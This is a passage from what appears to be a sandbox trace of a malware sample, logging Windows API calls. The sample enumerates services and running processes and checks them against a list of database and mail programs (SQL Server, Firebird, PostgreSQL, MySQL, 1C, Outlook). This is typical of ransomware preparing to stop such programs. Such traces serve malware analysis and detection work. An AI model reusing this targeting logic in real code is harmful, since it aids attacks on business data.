lpString2="ProfSvc") returned -1 [0034.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.546] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.546] lstrlenW (lpString="RpcSs") returned 5 [0034.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.546] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.546] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.546] lstrlenW (lpString="SamSs") returned 5 [0034.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.546] lstrlenW (lpString="Schedule") returned 8 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.547] lstrlenW (lpString="SENS") returned 4 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.547] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.547] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.547] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.547] lstrlenW (lpString="Spooler") returned 7 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.547] lstrlenW (lpString="SysMain") returned 7 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.547] lstrlenW (lpString="Themes") returned 6 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.547] lstrlenW (lpString="TrkWks") returned 6 [0034.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.548] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.548] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.548] lstrlenW (lpString="UxSms") returned 5 [0034.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.548] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.548] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.548] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.548] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.548] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.548] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.548] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.548] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.548] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.548] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.548] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.548] lstrlenW (lpString="Winmgmt") returned 7 [0034.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.548] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.548] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.548] lstrlenW (lpString="WPDBusEnum") returned 10 [0034.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0034.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0034.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0034.549] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x867510 | out: hHeap=0x790000) returned 1 [0034.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c0 [0034.551] Process32FirstW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.551] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.551] lstrlenW (lpString="System") returned 6 [0034.551] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0034.551] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0034.551] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0034.551] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0034.551] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0034.551] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0034.551] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0034.551] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0034.552] lstrlenW (lpString="smss.exe") returned 8 [0034.552] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0034.552] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.552] lstrlenW (lpString="csrss.exe") returned 9 [0034.552] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.552] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.552] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.552] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0034.552] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0034.552] lstrlenW (lpString="wininit.exe") returned 11 [0034.552] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0034.552] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0034.552] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0034.553] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0034.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0034.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0034.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0034.553] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0034.553] lstrlenW (lpString="csrss.exe") returned 9 [0034.553] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0034.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0034.553] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0034.553] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0034.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0034.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0034.553] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0034.553] lstrlenW (lpString="winlogon.exe") returned 12 [0034.553] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0034.554] lstrlenW (lpString="services.exe") returned 12 [0034.554] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0034.554] lstrlenW (lpString="lsass.exe") returned 9 [0034.554] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0034.554] lstrlenW (lpString="lsm.exe") returned 7 [0034.554] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.554] lstrlenW (lpString="svchost.exe") returned 11 [0034.554] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.555] lstrlenW (lpString="svchost.exe") returned 11 [0034.555] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.555] lstrlenW (lpString="svchost.exe") returned 11 [0034.555] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.555] lstrlenW (lpString="svchost.exe") returned 11 [0034.555] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.555] lstrlenW (lpString="svchost.exe") returned 11 [0034.555] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0034.556] lstrlenW (lpString="audiodg.exe") returned 11 [0034.556] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.556] lstrlenW (lpString="svchost.exe") returned 11 [0034.556] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.556] lstrlenW (lpString="svchost.exe") returned 11 [0034.556] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0034.556] lstrlenW (lpString="dwm.exe") returned 7 [0034.556] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0034.557] lstrlenW (lpString="explorer.exe") returned 12 [0034.557] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0034.557] lstrlenW (lpString="spoolsv.exe") returned 11 [0034.557] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.557] lstrlenW (lpString="taskhost.exe") returned 12 [0034.557] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0034.557] lstrlenW (lpString="svchost.exe") returned 11 [0034.557] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0034.558] lstrlenW (lpString="taskeng.exe") returned 11 [0034.558] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0034.558] lstrlenW (lpString="taskhost.exe") returned 12 [0034.558] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0034.558] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0034.558] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0034.559] lstrlenW (lpString="noticed.exe") returned 11 [0034.559] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0034.559] lstrlenW (lpString="uploaded.exe") returned 12 [0034.559] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0034.559] lstrlenW (lpString="hardware.exe") returned 12 [0034.559] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0034.559] lstrlenW (lpString="oracle.exe") returned 10 [0034.559] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0034.560] lstrlenW (lpString="creativity.exe") returned 14 [0034.560] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0034.560] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0034.560] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0034.560] lstrlenW (lpString="edited.exe") returned 10 [0034.560] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0034.560] lstrlenW (lpString="custody.exe") returned 11 [0034.560] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0034.561] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0034.561] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0034.561] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0034.561] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0034.561] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0034.561] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0034.561] lstrlenW (lpString="radius.exe") returned 10 [0034.561] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0034.562] lstrlenW (lpString="extensions.exe") returned 14 [0034.562] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0034.562] lstrlenW (lpString="desperate.exe") returned 13 [0034.562] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0034.562] lstrlenW (lpString="professor-mo.exe") returned 16 [0034.562] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0034.562] lstrlenW (lpString="guidance.exe") returned 12 [0034.562] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | out: lppe=0x18e278*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0034.563] lstrlenW (lpString="week.exe") returned 8 [0034.563] Process32NextW (in: hSnapshot=0x2c0, lppe=0x18e278 | 